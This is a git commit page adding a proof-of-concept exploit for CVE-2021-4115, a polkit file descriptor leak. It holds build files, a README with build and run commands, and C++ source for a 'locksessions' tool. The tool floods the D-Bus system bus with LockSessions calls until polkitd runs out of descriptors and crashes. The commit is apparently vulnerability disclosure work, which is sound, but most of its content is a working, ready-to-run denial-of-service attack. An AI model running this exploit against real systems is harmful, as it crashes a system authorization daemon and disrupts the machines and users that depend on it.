Skip to content

Commit 5620d91

Browse files
PoC for file descriptor exhaustion in polkit (CVE-2021-4115)
1 parent 677baf7 commit 5620d91

File tree

6 files changed

+179
-0
lines changed

6 files changed

+179
-0
lines changed

.gitmodules

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,3 +10,6 @@
1010
[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"]
1111
path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
1212
url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git
13+
[submodule "SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse"]
14+
path = SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
15+
url = https://github.com/kevinbackhouse/DBusParse
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
build
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
cmake_minimum_required(VERSION 3.10)
2+
3+
enable_testing()
4+
5+
# set the project name
6+
project(CVE-2021-4115-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for CVE-2021-4115: file descriptor exhaustion in polkit")
7+
8+
# specify the C++ standard
9+
set(CMAKE_CXX_STANDARD 17)
10+
set(CMAKE_CXX_STANDARD_REQUIRED True)
11+
12+
option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF)
13+
14+
add_compile_options(-Wall -Wextra -pedantic -Werror)
15+
16+
if (USE_SANITIZERS)
17+
set(SANITIZER_FLAGS "-fsanitize=address,undefined")
18+
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}")
19+
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}")
20+
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
21+
set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
22+
endif()
23+
24+
add_subdirectory(DBusParse)
25+
26+
add_executable(locksessions locksessions.cpp)
27+
target_link_libraries(locksessions PUBLIC DBusParse DBusParseUtils crypt)
28+
target_include_directories(
29+
locksessions PRIVATE
30+
$<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# CVE-2021-4115 (GHSL-2021-077)
2+
3+
This repository contains a proof of concept exploit for
4+
[CVE-2021-4115](https://gitlab.freedesktop.org/polkit/polkit/-/issues/141):
5+
file descriptor exhaustion in
6+
[polkit](https://gitlab.freedesktop.org/polkit/polkit).
7+
8+
# Build
9+
10+
Instructions for building the PoC:
11+
12+
```bash
13+
git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse
14+
mkdir build
15+
cd build
16+
cmake ..
17+
make
18+
```
19+
20+
# Running
21+
22+
The PoC causes polkit to leak eventfd file descriptors. After several runs
23+
of the PoC, polkit will leak so many file descriptors that it will crash
24+
due to exceeding its quota of file descriptors.
25+
26+
First, check how many file descriptors polkit has open:
27+
28+
```bash
29+
$ sudo ls -l /proc/`pidof polkitd`/fd | wc
30+
12 123 680
31+
```
32+
33+
Now run the PoC:
34+
35+
```bash
36+
./locksessions /var/run/dbus/system_bus_socket 0x4000
37+
```
38+
39+
(The PoC is named locksessions because it calls the
40+
org.freedesktop.login1.Manager.LockSessions D-Bus method.)
41+
42+
Now check again how many file descriptors polkit has open:
43+
44+
```
45+
$ sudo ls -l /proc/`pidof polkitd`/fd | wc
46+
255 2796 16872
47+
```
48+
49+
Notice that a large number of eventfd file descriptors have been
50+
leaked. After few more runs of the PoC, polkit will most likely
51+
crash.
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
#include "dbus_utils.hpp"
2+
#include "dbus_auth.hpp"
3+
#include "utils.hpp"
4+
#include <sys/socket.h>
5+
#include <sys/un.h>
6+
#include <unistd.h>
7+
8+
class DBusSocket : public AutoCloseFD {
9+
public:
10+
DBusSocket(const uid_t uid, const char* filename) :
11+
AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
12+
{
13+
if (get() < 0) {
14+
throw ErrorWithErrno("Could not create socket");
15+
}
16+
17+
sockaddr_un address;
18+
memset(&address, 0, sizeof(address));
19+
address.sun_family = AF_UNIX;
20+
strcpy(address.sun_path, filename);
21+
22+
if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
23+
throw ErrorWithErrno("Could not connect socket");
24+
}
25+
26+
dbus_sendauth(uid, get());
27+
28+
dbus_send_hello(get());
29+
std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
30+
std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
31+
std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
32+
}
33+
};
34+
35+
static void send_logind_LockSessions(const int fd, const uint32_t serialNumber) {
36+
dbus_method_call(
37+
fd,
38+
serialNumber,
39+
DBusMessageBody::mk0(),
40+
_s("/org/freedesktop/login1"),
41+
_s("org.freedesktop.login1.Manager"),
42+
_s("org.freedesktop.login1"),
43+
_s("LockSessions")
44+
);
45+
}
46+
47+
// Keep trying `attempt_LockSessions_with_disconnect` with different
48+
// delay values until the exploit succeeds (or we decide to give up).
49+
static void exploit_LockSessions(
50+
const uid_t uid,
51+
const char* filename,
52+
const long n
53+
) {
54+
DBusSocket fd(uid, filename);
55+
56+
for (long i = 0; i < n; i++) {
57+
send_logind_LockSessions(fd.get(), i+1);
58+
}
59+
}
60+
61+
static void usage(const char* progname) {
62+
fprintf(
63+
stderr,
64+
"usage: %s <unix socket path> <number of messages to send>\n"
65+
"example: %s /var/run/dbus/system_bus_socket 4096\n",
66+
progname,
67+
progname
68+
);
69+
}
70+
71+
int main(int argc, char* argv[]) {
72+
const char* progname = argc > 0 ? argv[0] : "a.out";
73+
if (argc != 3) {
74+
usage(progname);
75+
return EXIT_FAILURE;
76+
}
77+
78+
char* endptr = 0;
79+
const long n = strtol(argv[2], &endptr, 0);
80+
if (endptr == argv[2] || *endptr != '\0') {
81+
usage(progname);
82+
return EXIT_FAILURE;
83+
}
84+
85+
const uid_t uid = getuid();
86+
const char* filename = argv[1];
87+
88+
for (size_t i = 0; i < 1; i++) {
89+
exploit_LockSessions(uid, filename, n);
90+
}
91+
92+
return EXIT_SUCCESS;
93+
}

0 commit comments

Comments
 (0)